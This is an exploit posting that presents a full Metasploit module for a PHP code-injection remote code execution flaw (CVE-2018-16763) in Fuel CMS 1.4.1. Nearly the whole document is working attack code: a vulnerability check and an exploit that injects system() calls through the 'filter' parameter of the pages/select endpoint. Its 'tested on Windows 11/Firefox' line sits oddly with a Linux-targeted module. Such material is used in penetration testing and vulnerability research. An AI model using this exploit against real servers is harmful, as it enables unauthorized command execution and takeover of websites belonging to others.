📄 Fuel CMS 1.4.1 PHP Code Injection

==================================================================================================================================
    | # Title     : Fuel CMS 1.4.1 PHP Code Injection RCE Exploit                                                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.getfuelcms.com/                                                                                      |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a Remote Code Execution (CVE-2018-16763) vulnerability in Fuel CMS version 1.4.1. 
                     The issue stems from improper input sanitization in the filter parameter, which is passed into a dangerous PHP evaluation context (eval()), enabling code injection.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name'           => 'Fuel CMS 1.4.1 - Remote Code Execution (RCE)',
            'Description'    => %q{
             This mod exploits a PHP code injection vulnerability in Fuel CMS version 1.4.1.
             The vulnerability arises because unfiltered input is passed to the eval() function, allowing remote system command execution.
            },
            'Author'         => ['indoushka'],
            'License'        => MSF_LICENSE,
            'References'     => [
              ['CVE', '2018-16763'],
              ['URL', 'https://github.com/0xmrsecurity/Public_Poc/tree/main/CVE-2018-16763']
            ],
            'Privileged'     => false,
            'Platform'       => ['linux', 'unix'],
            'Arch'           => [ARCH_CMD, ARCH_X86, ARCH_X64],
            'Payload'        => {
              'BadChars' => "\x22"
            },
            'Targets'        => [
              ['Fuel CMS 1.4.1', {}]
            ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => '2018-09-17',
            'Notes'          => {
              'Stability'   => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Fuel CMS', '/'])
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path, 'fuel', 'pages', 'select'),
          'vars_get' => {
            'filter' => "'+pi(print(2026*2))+'"
          }
        })
    
        return CheckCode::Vulnerable if res && res.body.include?('4052')
        CheckCode::Safe
      end
    
      def exploit
       print_status("Payload being sent to the target...")
    
        cmd = Rex::Text.uri_encode(payload.encoded)
    
        shell_payload = "'+pi(print($a='system'))+$a('#{cmd}')+'"
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path, 'fuel', 'pages', 'select'),
          'vars_get' => {
            'filter' => shell_payload
          }
        })
    
        if res && res.code == 200
          print_good("The order was successfully sent.")
        else
         print_error("Connection failed or target is not infected.")
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================